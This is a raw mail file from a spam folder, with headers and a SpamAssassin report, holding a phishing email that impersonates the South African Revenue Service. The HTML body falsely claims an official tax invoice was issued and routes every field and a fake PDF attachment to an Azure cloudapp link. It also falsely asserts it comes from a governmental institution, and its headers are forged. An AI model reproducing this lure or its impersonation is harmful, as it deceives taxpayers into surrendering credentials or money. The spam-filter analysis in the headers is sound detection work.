File: /home/govancoz/mail/.spam/new/1709022752.M981413P1560188.zacp120.ve.host,S=8814,W=8977
Return-Path: <root@zcbmvprn.examplescarsdotcom.com>
Delivered-To: govancoz+spam@zacp120.ve.host
Received: from zacp120.ve.host
by zacp120.ve.host with LMTP
id qJAoOiCe3WV8zhcAvcbEzQ
(envelope-from <root@zcbmvprn.examplescarsdotcom.com>)
for <govancoz+spam@zacp120.ve.host>; Tue, 27 Feb 2024 10:32:32 +0200
Return-path: <root@zcbmvprn.examplescarsdotcom.com>
Envelope-to: qual1@govan.co.za
Delivery-date: Tue, 27 Feb 2024 10:32:32 +0200
Received: from 172-104-181-141.ip.linodeusercontent.com ([172.104.181.141]:46670 helo=zcbmvprn.examplescarsdotcom.com)
by zacp120.ve.host with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384
(Exim 4.96.2)
(envelope-from <root@zcbmvprn.examplescarsdotcom.com>)
id 1rest3-006fRo-0u
for qual1@govan.co.za;
Tue, 27 Feb 2024 10:32:32 +0200
Received: by zcbmvprn.examplescarsdotcom.com (Postfix, from userid 0)
id BF81340621; Tue, 27 Feb 2024 08:30:05 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=sars.gov.za; s=mail;
t=1709022692; bh=9nb1eaK9Ox3naj32qV8ppYAB7kEfIqP4KEmIagWA0n4=;
h=Subject:From:To:Date;
b=OGxZMoig/NixsicSuj0vYaroM/3BpgEWlQDAWfkGXej32JO4+ufxWl2Nh/HeWoo0o
XgXrw+D1+DWGbVT6DJU7HRkqnbKcIe528BXfi9uYUkVonegbJjQo6Li26iSr7qog7V
DKfj2G2+ZiXY/2ngCHB76KMDunLVSxq0qy19fqgd56ZwEV92hKpqXl7AStkZScWOoa
XJRTI6mlSXoOGnGJ8nmcckEP572qi7nchYQGU2R6dwynsxh9eYTy/KwilwH7Cb/uN5
42qSZzvOE8HnV/8YWgYvNP8biskGFhkKJSATFqCu8Ml9x1AIY5Mji0DpQcOFJWch8+
Fqg0pLC3KE40A==
content-type: text/html
MIME-Version: 1.0
X-Priority: 1
X-MSmail-Priority: High
Priority: urgent
Importance: high
X-Mailer: Microsoft Office Outlook, Build 11.0.5510
X-Newsreader: Microsoft Outlook Express 6.00.2800.140
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441
Message-ID: <nTDYMvJb4RriRzo8kOt0ZLYlNs69hsc0I@sars.gov.za>
From: Tax Assessments Unit<compliancedivision@sars.gov.za>
To: qual1@govan.co.za
Date: Tue, 27 Feb 2024 08:30:05 +0000 (UTC)
X-Spam-Status: Yes, score=25.8
X-Spam-Score: 258
X-Spam-Bar: +++++++++++++++++++++++++
X-Spam-Report: Spam detection software, running on the system "zacp120.ve.host",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: qual1@govan.co.za, The South African Revenue Service (SARS)
has issued a document(s) of type Invoice for you with the following details:
Fiscal serial number:
Content analysis details: (25.8 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: azure.com]
0.0 TVD_RCVD_IP Message was received from an IP address
4.0 SPF_FAIL SPF: sender does not match SPF record (fail)
[SPF failed: Please see http://www.openspf.org/Why?s=mfrom;id=root%40zcbmvprn.examplescarsdotcom.com;ip=172.104.181.141;r=zacp120.ve.host]
0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level
mail domains are different
4.0 SPF_HELO_FAIL SPF: HELO does not match SPF record (fail)
[SPF failed: Please see http://www.openspf.org/Why?s=helo;id=zcbmvprn.examplescarsdotcom.com;ip=172.104.181.141;r=zacp120.ve.host]
0.0 HTML_MESSAGE BODY: HTML included in message
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
0.0 FROM_MISSP_MSFT From misspaced + supposed Microsoft tool
0.0 FORGED_OUTLOOK_HTML Outlook can't send HTML message only
0.1 DKIM_INVALID DKIM or DK signature exists, but is not valid
0.6 FORGED_OUTLOOK_TAGS Outlook can't send HTML in this format
3.0 URI_AZURE_CLOUDAPP Link to hosted azure web application,
possible phishing
1.8 FROM_MISSP_SPF_FAIL No description available.
0.6 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML
tag
-0.0 T_SCC_BODY_TEXT_LINE No description available.
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
0.5 KAM_NUMSUBJECT Subject ends in numbers excluding current years
3.0 KAM_DMARC_REJECT DKIM has Failed or SPF has failed on the
message and the domain has a DMARC reject
policy
2.6 RDNS_DYNAMIC Delivered to internal network by host with
dynamic-looking rDNS
0.5 FROM_MISSP_DYNIP From misspaced + dynamic rDNS
2.5 TO_NO_BRKTS_FROM_MSSP Multiple header formatting problems
2.1 TO_NO_BRKTS_MSFT To: lacks brackets and supposed Microsoft tool
X-Spam-Flag: YES
Subject: ***SPAM*** Fiscal Assessment Report: Check Now - 95547
<p class="MsoNormal"><span style="font-size: 11.0pt; font-family: 'Verdana',sans-serif; color: #5f5f5f;">qual1@govan.co.za,</span><br /><br /><span style="font-size: 10.0pt; color: #5f5f5f;">The South African Revenue Service (SARS) has issued a document(s) of type Invoice for you with the following details:</span><br /><span style="font-size: 10.0pt; font-family: 'Verdana',sans-serif; color: #5f5f5f;"> </span> <u></u><u></u></p>
<table style="width: 50.0%;" border="0" width="50%" cellpadding="0">
<tbody>
<tr>
<td style="padding: 0.75pt; width: 59.0659%;">
<p class="MsoNormal"><span style="font-size: 11.0pt; font-family: 'Verdana',sans-serif; color: #4d4d4d;"> <strong>Fiscal serial number:</strong></span><u></u></p>
</td>
<td style="padding: 0.75pt; width: 38.7363%;">
<p class="MsoNormal" style="text-align: right;" align="right"><span style="font-size: 11.0pt; font-family: 'Verdana',sans-serif; color: #4d4d4d;"><span style="font-size: 11.0pt; font-family: 'Verdana',sans-serif;"><a href="https://incomeinvoicepd.northeurope.cloudapp.azure.com/?44917723_6411_95547647586-499733499733272291538886002988860029">95547</a></span></span><u></u></p>
</td>
</tr>
<tr>
<td style="padding: 0.75pt; width: 59.0659%;">
<p class="MsoNormal"><span style="font-size: 11.0pt; font-family: 'Verdana',sans-serif; color: #4d4d4d;"> <strong>Date of issue:</strong></span><u></u></p>
</td>
<td style="padding: 0.75pt; width: 38.7363%;">
<p class="MsoNormal" style="text-align: right;" align="right"><span style="font-size: 11.0pt; font-family: 'Verdana',sans-serif; color: #4d4d4d;">28/02/2024</span> <u></u><u></u></p>
</td>
</tr>
<tr>
<td style="padding: 0.75pt; width: 59.0659%;">
<p class="MsoNormal"><span style="font-size: 11.0pt; font-family: 'Verdana',sans-serif; color: #4d4d4d;"> <strong>Total amount:</strong></span><u></u></p>
</td>
<td style="padding: 0.75pt; width: 38.7363%;">
<p class="MsoNormal" style="text-align: right;" align="right"><span style="font-size: 11.0pt; font-family: 'Verdana',sans-serif; color: #4d4d4d;"><span style="font-size: 11.0pt; font-family: 'Verdana',sans-serif;"><a href="https://incomeinvoicepd.northeurope.cloudapp.azure.com/?44917723_6411_95547647586-499733499733272291538886002988860029">******</a></span></span><u></u></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal"> </p>
<p class="MsoNormal"><span style="font-size: 11.0pt; font-family: 'Verdana',sans-serif;"><a href="https://incomeinvoicepd.northeurope.cloudapp.azure.com/?44917723_6411_95547647586-499733499733272291538886002988860029">TAX Details 499733.pdf</a></span></p>
<p class="MsoNormal"><span style="font-size: 11.0pt; font-family: 'Verdana',sans-serif;"> </span> <br /><span style="font-size: 10.0pt; font-family: 'Verdana',sans-serif; color: #4d4d4d;"><span style="font-size: 11.0pt; font-family: 'Verdana',sans-serif;">Please review the attached data.</span></span></p>
<p><span style="font-size: 7.5pt; color: #666666;">This email was issued by an official governmental institution. All rights reserved.</span></p>
<p><span style="font-size: 7.5pt; color: #666666;"><img src="https://pbs.twimg.com/media/GG7BNGMXUAAkotK.jpg:large" alt="SABCNews_MorningLive on X: "[ON AIR] To discuss the #BudgetSpeech2024 and its implications for the South African Revenue Service, we are joined by Commissioner Edward Kieswetter. #MorningLive #SABCNews https://t.co/zOcgEJDIZ6" / X" width="206" height="150" /></span></p>